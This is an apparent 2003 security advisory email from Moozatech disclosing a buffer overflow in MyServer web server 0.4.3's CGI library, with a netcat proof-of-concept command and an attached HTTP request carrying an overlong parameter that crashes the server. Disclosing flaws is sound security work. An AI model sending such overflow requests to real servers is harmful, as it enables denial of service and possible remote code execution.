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------=_NextPart_000_0004_01C378FB.45718DA0 Content-Type: text/plain; charset="windows-1255" Content-Transfer-Encoding: 8bit 12/09/03 Moozatech Advisory http://www.moozatech.com/mt-12-09-2003.txt ------------------------------------------------------- Application: MyServer Web Server Web Site: http://myserverweb.sf.net Versions: 0.4.3 and below Platform: Windows98,Windows2000,Linux Bug: Buffer Overflow. Risk: Remote DOS and unauthorized remote access. Severity: High Fix Available: Yes ------------------------------------------------------- 1) Introduction 2) Bug 3) The Code 4) Fix 5) About Moozatech =============== 1) Introduction =============== MyServer is a free, powerful web server program designed to be easily run on a personal Computer by the average computer user. It is a multithread application and supports HTTP, CGI, ISAPI, WinCGI and FastCGI protocols. ====== 2) Bug ====== a buffer overflow might allow Remote attacker to invoke malicious code by submitting a request containing excessive data. That will cause a buffer overflow and might allow to run code of choice Under the web server privileges. The problem is in the MSCGI library (cgi-lib.dll) that doesn’t handle correctly long String values for the URI variables. ==================== 3) Proof of concept. ==================== nc.exe -v www.victim.com < request.txt -- The script is attached. This will crash the program with a memory overflow. ====== 4) Fix ====== The author has confirmed this bug and temporary fix is available through MyServer cvs repository at: http://myserverweb.sourceforge.net/cvs.php Complete patch will be available in the next upcoming release of myserver. ================== 5) About Moozatech ================== Moozatech IT Systems Ltd. (“Moozatech”) is a leading information security consulting and project management firm focused on developing "Secure IT Solutions" which best suit the client's operational needs. Moozatech devotes time to make a secure computing environment for customers. ----- Moran Zavdi Moozatech IT Systems www.moozatech.com ------=_NextPart_000_0004_01C378FB.45718DA0 Content-Type: text/plain; name="mt-12-09-2003.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="mt-12-09-2003.txt" 12/09/03 Moozatech Advisory http://www.moozatech.com/mt-12-09-2003.txt =09 ------------------------------------------------------- Application: MyServer Web Server Web Site: http://myserverweb.sf.net Versions: 0.4.3 Platform: Windows98,Windows2000,Linux Bug: Buffer Overflow. Risk: Remote DOS and unauthorized remote access. Severity: High Fix Available: Yes ------------------------------------------------------- 1) Introduction 2) Bug 3) The Code 4) Fix 5) About Moozatech =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D 1) Introduction =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D MyServer is a free, powerful web server program designed to be easily = run on a personal=20 Computer by the average computer user.=20 It is a multithread application and supports HTTP, CGI, ISAPI, WinCGI = and FastCGI protocols.=20 =3D=3D=3D=3D=3D=3D 2) Bug =3D=3D=3D=3D=3D=3D a buffer overflow might allow Remote attacker to invoke malicious code = by submitting a request containing excessive data.=20 That will cause a buffer overflow and might allow to run code of choice = Under the web server privileges. The problem is in the MSCGI library (cgi-lib.dll) that doesn=92t handle = correctly long=20 String values for the URI variables.=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D 3) Proof of concept. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D nc.exe -v www.victim.com < request.txt =20 -- The script is attached. This will crash the program with a memory overflow. =3D=3D=3D=3D=3D=3D 4) Fix =3D=3D=3D=3D=3D=3D The author has confirmed this bug and temporary fix is available through = MyServer cvs repository at: http://myserverweb.sourceforge.net/cvs.php Complete patch will be available in the next upcoming release of = myserver. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D 5) About Moozatech =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Moozatech IT Systems Ltd. (=93Moozatech=94) is a leading information = security consulting=20 and project management firm focused on developing=20 "Secure IT Solutions" which best suit the client's operational needs.=20 Moozatech devotes time to make a secure computing environment for = customers. ------=_NextPart_000_0004_01C378FB.45718DA0 Content-Type: text/plain; name="request.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="request.txt" GET = /cgi-bin/math_sum.mscgi?a=3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Moozatech (compatible; Moozatech Scanner) Host: 12.12.12.12 Connection: Keep-Alive ------=_NextPart_000_0004_01C378FB.45718DA0--